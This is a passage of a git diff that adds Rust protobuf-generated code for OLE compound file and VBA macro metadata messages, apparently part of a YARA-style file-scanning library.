+#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `olecf.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:olecf.Olecf) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Olecf { + // message fields + // @@protoc_insertion_point(field:olecf.Olecf.is_olecf) + pub is_olecf: ::std::option::Option, + // @@protoc_insertion_point(field:olecf.Olecf.streams) + pub streams: ::std::vec::Vec, + // special fields + // @@protoc_insertion_point(special_field:olecf.Olecf.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Olecf { + fn default() -> &'a Olecf { + ::default_instance() + } +} + +impl Olecf { + pub fn new() -> Olecf { + ::std::default::Default::default() + } + + // required bool is_olecf = 1; + + pub fn is_olecf(&self) -> bool { + self.is_olecf.unwrap_or(false) + } + + pub fn clear_is_olecf(&mut self) { + self.is_olecf = ::std::option::Option::None; + } + + pub fn has_is_olecf(&self) -> bool { + self.is_olecf.is_some() + } + + // Param is passed by value, moved + pub fn set_is_olecf(&mut self, v: bool) { + self.is_olecf = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(2); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "is_olecf", + |m: &Olecf| { &m.is_olecf }, + |m: &mut Olecf| { &mut m.is_olecf }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "streams", + |m: &Olecf| { &m.streams }, + |m: &mut Olecf| { &mut m.streams }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Olecf", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Olecf { + const NAME: &'static str = "Olecf"; + + fn is_initialized(&self) -> bool { + if self.is_olecf.is_none() { + return false; + } + for v in &self.streams { + if !v.is_initialized() { + return false; + } + }; + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.is_olecf = ::std::option::Option::Some(is.read_bool()?); + }, + 18 => { + self.streams.push(is.read_message()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.is_olecf { + my_size += 1 + 1; + } + for value in &self.streams { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.is_olecf { + os.write_bool(1, v)?; + } + for v in &self.streams { + ::protobuf::rt::write_message_field_with_cached_size(2, v, os)?; + }; + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Olecf { + Olecf::new() + } + + fn clear(&mut self) { + self.is_olecf = ::std::option::Option::None; + self.streams.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Olecf { + static instance: Olecf = Olecf { + is_olecf: ::std::option::Option::None, + streams: ::std::vec::Vec::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Olecf { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Olecf").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Olecf { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Olecf { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:olecf.Stream) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Stream { + // message fields + // @@protoc_insertion_point(field:olecf.Stream.name) + pub name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:olecf.Stream.type) + pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:olecf.Stream.size) + pub size: ::std::option::Option, + // special fields + // @@protoc_insertion_point(special_field:olecf.Stream.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Stream { + fn default() -> &'a Stream { + ::default_instance() + } +} + +impl Stream { + pub fn new() -> Stream { + ::std::default::Default::default() + } + + // required string name = 1; + + pub fn name(&self) -> &str { + match self.name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_name(&mut self) { + self.name = ::std::option::Option::None; + } + + pub fn has_name(&self) -> bool { + self.name.is_some() + } + + // Param is passed by value, moved + pub fn set_name(&mut self, v: ::std::string::String) { + self.name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_name(&mut self) -> &mut ::std::string::String { + if self.name.is_none() { + self.name = ::std::option::Option::Some(::std::string::String::new()); + } + self.name.as_mut().unwrap() + } + + // Take field + pub fn take_name(&mut self) -> ::std::string::String { + self.name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // required .olecf.StreamType type = 2; + + pub fn type_(&self) -> StreamType { + match self.type_ { + Some(e) => e.enum_value_or(StreamType::UNKNOWN), + None => StreamType::UNKNOWN, + } + } + + pub fn clear_type_(&mut self) { + self.type_ = ::std::option::Option::None; + } + + pub fn has_type(&self) -> bool { + self.type_.is_some() + } + + // Param is passed by value, moved + pub fn set_type(&mut self, v: StreamType) { + self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // required uint64 size = 3; + + pub fn size(&self) -> u64 { + self.size.unwrap_or(0) + } + + pub fn clear_size(&mut self) { + self.size = ::std::option::Option::None; + } + + pub fn has_size(&self) -> bool { + self.size.is_some() + } + + // Param is passed by value, moved + pub fn set_size(&mut self, v: u64) { + self.size = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "name", + |m: &Stream| { &m.name }, + |m: &mut Stream| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "type", + |m: &Stream| { &m.type_ }, + |m: &mut Stream| { &mut m.type_ }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "size", + |m: &Stream| { &m.size }, + |m: &mut Stream| { &mut m.size }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Stream", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Stream { + const NAME: &'static str = "Stream"; + + fn is_initialized(&self) -> bool { + if self.name.is_none() { + return false; + } + if self.type_.is_none() { + return false; + } + if self.size.is_none() { + return false; + } + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = ::std::option::Option::Some(is.read_string()?); + }, + 16 => { + self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 24 => { + self.size = ::std::option::Option::Some(is.read_uint64()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.name.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.type_ { + my_size += ::protobuf::rt::int32_size(2, v.value()); + } + if let Some(v) = self.size { + my_size += ::protobuf::rt::uint64_size(3, v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.name.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.type_ { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.size { + os.write_uint64(3, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Stream { + Stream::new() + } + + fn clear(&mut self) { + self.name = ::std::option::Option::None; + self.type_ = ::std::option::Option::None; + self.size = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static Stream { + static instance: Stream = Stream { + name: ::std::option::Option::None, + type_: ::std::option::Option::None, + size: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Stream { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Stream").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Stream { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Stream { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:olecf.StreamType) +pub enum StreamType { + // @@protoc_insertion_point(enum_value:olecf.StreamType.UNKNOWN) + UNKNOWN = 0, + // @@protoc_insertion_point(enum_value:olecf.StreamType.STORAGE) + STORAGE = 1, + // @@protoc_insertion_point(enum_value:olecf.StreamType.STREAM) + STREAM = 2, + // @@protoc_insertion_point(enum_value:olecf.StreamType.ROOT) + ROOT = 5, +} + +impl ::protobuf::Enum for StreamType { + const NAME: &'static str = "StreamType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(StreamType::UNKNOWN), + 1 => ::std::option::Option::Some(StreamType::STORAGE), + 2 => ::std::option::Option::Some(StreamType::STREAM), + 5 => ::std::option::Option::Some(StreamType::ROOT), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "UNKNOWN" => ::std::option::Option::Some(StreamType::UNKNOWN), + "STORAGE" => ::std::option::Option::Some(StreamType::STORAGE), + "STREAM" => ::std::option::Option::Some(StreamType::STREAM), + "ROOT" => ::std::option::Option::Some(StreamType::ROOT), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [StreamType] = &[ + StreamType::UNKNOWN, + StreamType::STORAGE, + StreamType::STREAM, + StreamType::ROOT, + ]; +} + +impl ::protobuf::EnumFull for StreamType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("StreamType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + StreamType::UNKNOWN => 0, + StreamType::STORAGE => 1, + StreamType::STREAM => 2, + StreamType::ROOT => 3, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for StreamType { + fn default() -> Self { + StreamType::UNKNOWN + } +} + +impl StreamType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("StreamType") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\x0bolecf.proto\x12\x05olecf\x1a\nyara.proto\"K\n\x05Olecf\x12\x19\n\ + \x08is_olecf\x18\x01\x20\x02(\x08R\x07isOlecf\x12'\n\x07streams\x18\x02\ + \x20\x03(\x0b2\r.olecf.StreamR\x07streams\"W\n\x06Stream\x12\x12\n\x04na\ + me\x18\x01\x20\x02(\tR\x04name\x12%\n\x04type\x18\x02\x20\x02(\x0e2\x11.\ + olecf.StreamTypeR\x04type\x12\x12\n\x04size\x18\x03\x20\x02(\x04R\x04siz\ + e*<\n\nStreamType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0b\n\x07STORAGE\x10\ + \x01\x12\n\n\x06STREAM\x10\x02\x12\x08\n\x04ROOT\x10\x05B&\xfa\x92\x19\"\ + \n\x05olecf\x12\x0bolecf.Olecf\x1a\x0colecf-moduleb\x06proto2\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::yara::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(2); + messages.push(Olecf::generated_message_descriptor_data()); + messages.push(Stream::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(1); + enums.push(StreamType::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/generated/vba.rs b/lib/src/modules/protos/generated/vba.rs new file mode 100644 index 00000000..2bf01760 --- /dev/null +++ b/lib/src/modules/protos/generated/vba.rs @@ -0,0 +1,847 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] +#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `vba.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:vba.Vba) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Vba { + // message fields + // @@protoc_insertion_point(field:vba.Vba.has_macros) + pub has_macros: ::std::option::Option, + // @@protoc_insertion_point(field:vba.Vba.modules) + pub modules: ::std::vec::Vec, + // @@protoc_insertion_point(field:vba.Vba.project_info) + pub project_info: ::protobuf::MessageField, + // special fields + // @@protoc_insertion_point(special_field:vba.Vba.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Vba { + fn default() -> &'a Vba { + ::default_instance() + } +} + +impl Vba { + pub fn new() -> Vba { + ::std::default::Default::default() + } + + // optional bool has_macros = 1; + + pub fn has_macros(&self) -> bool { + self.has_macros.unwrap_or(false) + } + + pub fn clear_has_macros(&mut self) { + self.has_macros = ::std::option::Option::None; + } + + pub fn has_has_macros(&self) -> bool { + self.has_macros.is_some() + } + + // Param is passed by value, moved + pub fn set_has_macros(&mut self, v: bool) { + self.has_macros = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "has_macros", + |m: &Vba| { &m.has_macros }, + |m: &mut Vba| { &mut m.has_macros }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "modules", + |m: &Vba| { &m.modules }, + |m: &mut Vba| { &mut m.modules }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, vba::ProjectInfo>( + "project_info", + |m: &Vba| { &m.project_info }, + |m: &mut Vba| { &mut m.project_info }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Vba", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Vba { + const NAME: &'static str = "Vba"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.has_macros = ::std::option::Option::Some(is.read_bool()?); + }, + 18 => { + self.modules.push(is.read_message()?); + }, + 42 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.project_info)?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.has_macros { + my_size += 1 + 1; + } + for value in &self.modules { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + if let Some(v) = self.project_info.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.has_macros { + os.write_bool(1, v)?; + } + for v in &self.modules { + ::protobuf::rt::write_message_field_with_cached_size(2, v, os)?; + }; + if let Some(v) = self.project_info.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(5, v, os)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Vba { + Vba::new() + } + + fn clear(&mut self) { + self.has_macros = ::std::option::Option::None; + self.modules.clear(); + self.project_info.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Vba { + static instance: Vba = Vba { + has_macros: ::std::option::Option::None, + modules: ::std::vec::Vec::new(), + project_info: ::protobuf::MessageField::none(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Vba { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Vba").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Vba { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Vba { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +/// Nested message and enums of message `Vba` +pub mod vba { + // @@protoc_insertion_point(message:vba.Vba.Module) + #[derive(PartialEq,Clone,Default,Debug)] + pub struct Module { + // message fields + // @@protoc_insertion_point(field:vba.Vba.Module.name) + pub name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.Module.type) + pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:vba.Vba.Module.code) + pub code: ::std::option::Option<::std::string::String>, + // special fields + // @@protoc_insertion_point(special_field:vba.Vba.Module.special_fields) + pub special_fields: ::protobuf::SpecialFields, + } + + impl<'a> ::std::default::Default for &'a Module { + fn default() -> &'a Module { + ::default_instance() + } + } + + impl Module { + pub fn new() -> Module { + ::std::default::Default::default() + } + + // optional string name = 1; + + pub fn name(&self) -> &str { + match self.name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_name(&mut self) { + self.name = ::std::option::Option::None; + } + + pub fn has_name(&self) -> bool { + self.name.is_some() + } + + // Param is passed by value, moved + pub fn set_name(&mut self, v: ::std::string::String) { + self.name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_name(&mut self) -> &mut ::std::string::String { + if self.name.is_none() { + self.name = ::std::option::Option::Some(::std::string::String::new()); + } + self.name.as_mut().unwrap() + } + + // Take field + pub fn take_name(&mut self) -> ::std::string::String { + self.name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional .vba.ModuleType type = 2; + + pub fn type_(&self) -> super::ModuleType { + match self.type_ { + Some(e) => e.enum_value_or(super::ModuleType::MODULE_TYPE_STANDARD), + None => super::ModuleType::MODULE_TYPE_STANDARD, + } + } + + pub fn clear_type_(&mut self) { + self.type_ = ::std::option::Option::None; + } + + pub fn has_type(&self) -> bool { + self.type_.is_some() + } + + // Param is passed by value, moved + pub fn set_type(&mut self, v: super::ModuleType) { + self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // optional string code = 3; + + pub fn code(&self) -> &str { + match self.code.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_code(&mut self) { + self.code = ::std::option::Option::None; + } + + pub fn has_code(&self) -> bool { + self.code.is_some() + } + + // Param is passed by value, moved + pub fn set_code(&mut self, v: ::std::string::String) { + self.code = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_code(&mut self) -> &mut ::std::string::String { + if self.code.is_none() { + self.code = ::std::option::Option::Some(::std::string::String::new()); + } + self.code.as_mut().unwrap() + } + + // Take field + pub fn take_code(&mut self) -> ::std::string::String { + self.code.take().unwrap_or_else(|| ::std::string::String::new()) + } + + pub(in super) fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "name", + |m: &Module| { &m.name }, + |m: &mut Module| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "type", + |m: &Module| { &m.type_ }, + |m: &mut Module| { &mut m.type_ }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "code", + |m: &Module| { &m.code }, + |m: &mut Module| { &mut m.code }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Vba.Module", + fields, + oneofs, + ) + } + } + + impl ::protobuf::Message for Module { + const NAME: &'static str = "Module"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = ::std::option::Option::Some(is.read_string()?); + }, + 16 => { + self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 26 => { + self.code = ::std::option::Option::Some(is.read_string()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.name.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.type_ { + my_size += ::protobuf::rt::int32_size(2, v.value()); + } + if let Some(v) = self.code.as_ref() { + my_size += ::protobuf::rt::string_size(3, &v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.name.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.type_ { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.code.as_ref() { + os.write_string(3, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Module { + Module::new() + } + + fn clear(&mut self) { + self.name = ::std::option::Option::None; + self.type_ = ::std::option::Option::None; + self.code = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static Module { + static instance: Module = Module { + name: ::std::option::Option::None, + type_: ::std::option::Option::None, + code: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } + } + + impl ::protobuf::MessageFull for Module { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().message_by_package_relative_name("Vba.Module").unwrap()).clone() + } + } + + impl ::std::fmt::Display for Module { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } + } + + impl ::protobuf::reflect::ProtobufValue for Module { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; + } + + // @@protoc_insertion_point(message:vba.Vba.ProjectInfo) + #[derive(PartialEq,Clone,Default,Debug)] + pub struct ProjectInfo { + // message fields + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.name) + pub name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.version) + pub version: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.references) + pub references: ::std::vec::Vec<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.module_count) + pub module_count: ::std::option::Option, + // special fields + // @@protoc_insertion_point(special_field:vba.Vba.ProjectInfo.special_fields) + pub special_fields: ::protobuf::SpecialFields, + } + + impl<'a> ::std::default::Default for &'a ProjectInfo { + fn default() -> &'a ProjectInfo { + ::default_instance() + } + } + + impl ProjectInfo { + pub fn new() -> ProjectInfo { + ::std::default::Default::default() + } + + // optional string name = 1; + + pub fn name(&self) -> &str { + match self.name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_name(&mut self) { + self.name = ::std::option::Option::None; + } + + pub fn has_name(&self) -> bool { + self.name.is_some() + } + + // Param is passed by value, moved + pub fn set_name(&mut self, v: ::std::string::String) { + self.name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_name(&mut self) -> &mut ::std::string::String { + if self.name.is_none() { + self.name = ::std::option::Option::Some(::std::string::String::new()); + } + self.name.as_mut().unwrap() + } + + // Take field + pub fn take_name(&mut self) -> ::std::string::String { + self.name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string version = 2; + + pub fn version(&self) -> &str { + match self.version.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_version(&mut self) { + self.version = ::std::option::Option::None; + } + + pub fn has_version(&self) -> bool { + self.version.is_some() + } + + // Param is passed by value, moved + pub fn set_version(&mut self, v: ::std::string::String) { + self.version = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_version(&mut self) -> &mut ::std::string::String { + if self.version.is_none() { + self.version = ::std::option::Option::Some(::std::string::String::new()); + } + self.version.as_mut().unwrap() + } + + // Take field + pub fn take_version(&mut self) -> ::std::string::String { + self.version.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional int32 module_count = 4; + + pub fn module_count(&self) -> i32 { + self.module_count.unwrap_or(0) + } + + pub fn clear_module_count(&mut self) { + self.module_count = ::std::option::Option::None; + } + + pub fn 